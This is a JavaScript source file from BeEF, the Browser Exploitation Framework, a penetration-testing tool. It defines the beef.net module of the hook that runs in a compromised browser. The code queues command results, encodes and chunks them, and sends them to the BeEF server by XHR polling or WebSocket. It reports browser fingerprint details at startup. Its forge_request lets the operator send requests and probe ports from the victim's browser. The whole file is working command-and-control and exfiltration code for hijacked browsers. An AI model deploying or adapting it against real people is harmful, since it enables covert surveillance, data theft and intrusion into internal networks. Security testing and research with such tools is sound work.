//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/*!
 * @literal object: beef.net
 *
 * Provides basic networking functions,
 * like beef.net.request and beef.net.forgeRequest,
 * used by BeEF command modules and the Requester extension,
 * as well as beef.net.send which is used to return commands
 * to BeEF server-side components.
 *
 * Also, it contains the core methods used by the XHR-polling
 * mechanism (flush, queue)
 */
beef.net = {

    host: "<%= @beef_host %>",
    port: "<%= @beef_port %>",
    hook: "<%= @beef_hook %>",
    httpproto: "<%= @beef_proto %>",
    handler: '/dh',
    chop: 500,
    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
    sid_count: 0,
    cmd_queue: [],

    /**
     * Command object. This represents the data to be sent back to BeEF,
     * using the beef.net.send() method.
     */
    command: function () {
        this.cid = null;
        this.results = null;
        this.status = null;
        this.handler = null;
        this.callback = null;
    },

    /**
     * Packet object. A single chunk of data. X packets -> 1 stream
     */
    packet: function () {
        this.id = null;
        this.data = null;
    },

    /**
     * Stream object. Contains X packets, which are command result chunks.
     */
    stream: function () {
        this.id = null;
        this.packets = [];
        this.pc = 0;
        this.get_base_url_length = function () {
            return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
        };
        this.get_packet_data = function () {
            var p = this.packets.shift();
            return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
        };
    },

    /**
     * Response Object - used in the beef.net.request callback
     * NOTE: as we are using async mode, the response object will be empty if returned.
     * Using sync mode, request obj fields will be populated.
     */
    response: function () {
        this.status_code = null;        // 500, 404, 200, 302
        this.status_text = null;        // success, timeout, error, ...
        this.response_body = null;      // "<html>…." if not a cross-origin request
        this.port_status = null;        // tcp port is open, closed or not http
        this.was_cross_domain = null;   // true or false
        this.was_timedout = null;       // the user specified timeout was reached
        this.duration = null;           // how long it took for the request to complete
        this.headers = null;            // full response headers
    },

    /**
     * Queues the specified command results.
     * @param: {String} handler: the server-side handler that will be called
     * @param: {Integer} cid: command id
     * @param: {String} results: the data to send
     * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
     * @param: {Function} callback: the function to call after execution
     */
    queue: function (handler, cid, results, status, callback) {
        if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
            var s = new beef.net.command();
            s.cid = cid;
            s.results = beef.net.clean(results);
            s.status = status;
            s.callback = callback;
            s.handler = handler;
            this.cmd_queue.push(s);
        }
    },

    /**
     * Queues the current command results and flushes the queue straight away.
     * NOTE: Always send Browser Fingerprinting results
     * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
     * even if WebSockets are enabled.
     * @param: {String} handler: the server-side handler that will be called
     * @param: {Integer} cid: command id
     * @param: {String} results: the data to send
     * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
     * @param: {Function} callback: the function to call after execution
     * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
     */
    send: function (handler, cid, results, exec_status, callback) {
        // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
        var status = 0;
        if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}

        if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
            this.queue(handler, cid, results, status, callback);
            this.flush();
        } else {
            try {
                beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
                    '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
                    '", "status": "' + exec_status +
                    '", "callback": "' + callback +
                    '","bh":"' + beef.session.get_hook_session_id() + '" }');
            } catch (e) {
                this.queue(handler, cid, results, status, callback);
                this.flush();
            }
        }

        return status;
    },

    /**
     * Flush all currently queued command results to the framework,
     * chopping the data in chunks ('chunk' method) which will be re-assembled
     * server-side by the network stack.
     * NOTE: currently 'flush' is used only with the default
     * XHR-polling mechanism. If WebSockets are used, the data is sent
     * back to BeEF straight away.
     */
    flush: function (callback) {
        if (this.cmd_queue.length > 0) {
            var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
            this.cmd_queue.length = 0;
            this.sid_count++;
            var stream = new this.stream();
            stream.id = this.sid_count;
            var pad = stream.get_base_url_length() + this.pad;
            //cant continue if chop amount is too low
            if ((this.chop - pad) > 0) {
                var data = this.chunk(data, (this.chop - pad));
                for (var i = 1; i <= data.length; i++) {
                    var packet = new this.packet();
                    packet.id = i;
                    packet.data = data[(i - 1)];
                    stream.packets.push(packet);
                }
                stream.pc = stream.packets.length;
                this.push(stream, callback);
            }
        } else {
            if ((typeof callback != 'undefined') && (callback != null)) {
                callback();
            }
        }
    },

    /**
     * Split the input data into chunk lengths determined by the amount parameter.
     * @param: {String} str: the input data
     * @param: {Integer} amount: chunk length
     */
    chunk: function (str, amount) {
        if (typeof amount == 'undefined') n = 2;
        return str.match(RegExp('.{1,' + amount + '}', 'g'));
    },

    /**
     * Push the input stream back to the BeEF server-side components.
     * It uses beef.net.request to send back the data.
     * @param: {Object} stream: the stream object to be sent back.
     */
    push: function (stream, callback) {
        //need to implement wait feature here eventually
        if (typeof callback === 'undefined') {
            callback = null;
        }
        for (var i = 0; i < stream.pc; i++) {
            var cb = null;
            if (i == (stream.pc - 1)) {
                cb = callback;
            }
            this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, 
                    stream.get_packet_data(), 10, 'text', cb);
        }
    },

    /**
     * Performs http requests
     * @param: {String} scheme: HTTP or HTTPS
     * @param: {String} method: GET or POST
     * @param: {String} domain: bindshell.net, 192.168.3.4, etc
     * @param: {Int} port: 80, 5900, etc
     * @param: {String} path: /path/to/resource
     * @param: {String} anchor: this is the value that comes after the # in the URL
     * @param: {String} data: This will be used as the query string for a GET or post data for a POST
     * @param: {Int} timeout: timeout the request after N seconds
     * @param: {String} dataType: specify the data return type expected (ie text/html/script)
     * @param: {Function} callback: call the callback function at the completion of the method
     *
     * @return: {Object} response: this object contains the response details
     */
    request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
        //check if same domain or cross domain
        var cross_domain = true;
        if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
            if (document.location.port == "" || document.location.port == null) {
                cross_domain = !(port == "80" || port == "443");
            }
        }

        //build the url
        var url = "";
        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
            url = path;
        } else {
            url = scheme + "://" + domain;
            url = (port != null) ? url + ":" + port : url;
            url = (path != null) ? url + path : url;
            url = (anchor != null) ? url + "#" + anchor : url;
        }

        //define response object
        var response = new this.response;
        response.was_cross_domain = cross_domain;
        var start_time = new Date().getTime();

        /*
         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
         * This will turn POSTs into GETs for remote-domain requests.
         */
        if (method == "POST") {
            $j.ajaxSetup({
                dataType: dataType
            });
        } else {
            $j.ajaxSetup({
                dataType: 'script'
            });
        }

        //build and execute the request
        $j.ajax({type: method,
            url: url,
            data: data,
            timeout: (timeout * 1000),

            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
            beforeSend: function (xhr) {
                if (method == "POST") {
                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
                }
            },
            success: function (data, textStatus, xhr) {
                var end_time = new Date().getTime();
                response.status_code = xhr.status;
                response.status_text = textStatus;
                response.response_body = data;
                response.port_status = "open";
                response.was_timedout = false;
                response.duration = (end_time - start_time);
            },
            error: function (jqXHR, textStatus, errorThrown) {
                var end_time = new Date().getTime();
                response.response_body = jqXHR.responseText;
                response.status_code = jqXHR.status;
                response.status_text = textStatus;
                response.duration = (end_time - start_time);
                response.port_status = "open";
            },
            complete: function (jqXHR, textStatus) {
                response.status_code = jqXHR.status;
                response.status_text = textStatus;
                response.headers = jqXHR.getAllResponseHeaders();
                // determine if TCP port is open/closed/not-http
                if (textStatus == "timeout") {
                    response.was_timedout = true;
                    response.response_body = "ERROR: Timed out\n";
                    response.port_status = "closed";
                } else if (textStatus == "parsererror") {
                    response.port_status = "not-http";
                } else {
                    response.port_status = "open";
                }
            }
        }).always(function () {
                if (callback != null) {
                    callback(response);
                }
            });
        return response;
    },

    /*
     * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
     *  - requestid: needed on the callback
     *  - allowCrossDomain: set cross-domain requests as allowed or blocked
     *
     * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
     * Example usage:
     * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
     *   true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
     *   alert(response.response_body)})
     */
    forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {

        // check if same domain or cross domain
        var cross_domain = true;
        if (domain == "undefined" || path == "undefined") {
            return;
        }
        if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
            if (document.location.port == "" || document.location.port == null) {
                cross_domain = !(port == "80" || port == "443");
            } else {
                if (document.location.port == port) cross_domain = false;
            }
        }
        // build the url
        var url = "";
        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
            url = path;
        } else {
            url = scheme + "://" + domain;
            url = (port != null) ? url + ":" + port : url;
            url = (path != null) ? url + path : url;
            url = (anchor != null) ? url + "#" + anchor : url;
        }

        // define response object
        var response = new this.response;
        response.was_cross_domain = cross_domain;
        var start_time = new Date().getTime();

        // if cross-domain requests are not allowed and the request is cross-domain
        // don't proceed and return
        if (allowCrossDomain == "false" && cross_domain && callback != null) {
            response.status_code = -1;
            response.status_text = "crossdomain";
            response.port_status = "crossdomain";
            response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
            response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
            callback(response, requestid);
            return response;
        }

        /*
         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
         * This will turn POSTs into GETs for remote-domain requests.
         */
        if (method == "POST") {
            $j.ajaxSetup({
                dataType: dataType
            });
        } else {
            $j.ajaxSetup({
                dataType: 'script'
            });
        }

        // this is required for bugs in IE so data can be transferred back to the server
        if (beef.browser.isIE()) {
            dataType = 'script'
        }

        $j.ajax({type: method,
            dataType: dataType,
            url: url,
            headers: headers,
            timeout: (timeout * 1000),

            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
            beforeSend: function (xhr) {
                if (method == "POST") {
                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
                }
            },

            data: data,

            // http server responded successfully
            success: function (data, textStatus, xhr) {
                var end_time = new Date().getTime();
                response.status_code = xhr.status;
                response.status_text = textStatus;
                response.response_body = data;
                response.was_timedout = false;
                response.duration = (end_time - start_time);
            },

            // server responded with a http error (403, 404, 500, etc)
            // or server is not a http server
            error: function (xhr, textStatus, errorThrown) {
                var end_time = new Date().getTime();
                response.response_body = xhr.responseText;
                response.status_code = xhr.status;
                response.status_text = textStatus;
                response.duration = (end_time - start_time);
            },

            complete: function (xhr, textStatus) {
                // cross-domain request
                if (cross_domain) {

                    response.port_status = "crossdomain";

                    if (xhr.status != 0) {
                        response.status_code = xhr.status;
                    } else {
                        response.status_code = -1;
                    }

                    if (textStatus) {
                        response.status_text = textStatus;
                    } else {
                        response.status_text = "crossdomain";
                    }

                    if (xhr.getAllResponseHeaders()) {
                        response.headers = xhr.getAllResponseHeaders();
                    } else {
                        response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
                    }

                    if (!response.response_body) {
                        response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
                    }

                } else {
                    // same-domain request
                    response.status_code = xhr.status;
                    response.status_text = textStatus;
                    response.headers = xhr.getAllResponseHeaders();

                    // determine if TCP port is open/closed/not-http
                    if (textStatus == "timeout") {
                        response.was_timedout = true;
                        response.response_body = "ERROR: Timed out\n";
                        response.port_status = "closed";
                        /*
                         * With IE we need to explicitly set the dataType to "script",
                         * so there will be always parse-errors if the content is != javascript
                         * */
                    } else if (textStatus == "parsererror") {
                        response.port_status = "not-http";
                        if (beef.browser.isIE()) {
                            response.status_text = "success";
                            response.port_status = "open";
                        }
                    } else {
                        response.port_status = "open";
                    }
                }
                callback(response, requestid);
            }
        });
        return response;
    },

    //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
    //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
    clean: function (r) {
        if (this.array_has_string_key(r)) {
            var obj = {};
            for (var key in r)
                obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
            return obj;
        }
        return r;
    },

    //Detects if an array has a string key
    array_has_string_key: function (arr) {
        if ($j.isArray(arr)) {
            try {
                for (var key in arr)
                    if (isNaN(parseInt(key))) return true;
            } catch (e) {
            }
        }
        return false;
    },

    /**
     * Sends back browser details to framework, calling beef.browser.getDetails()
     */
    browser_details: function () {
        var details = beef.browser.getDetails();
        details['HookSessionID'] = beef.session.get_hook_session_id();
        this.send('/init', 0, details);
    }

};


beef.regCmp('beef.net');
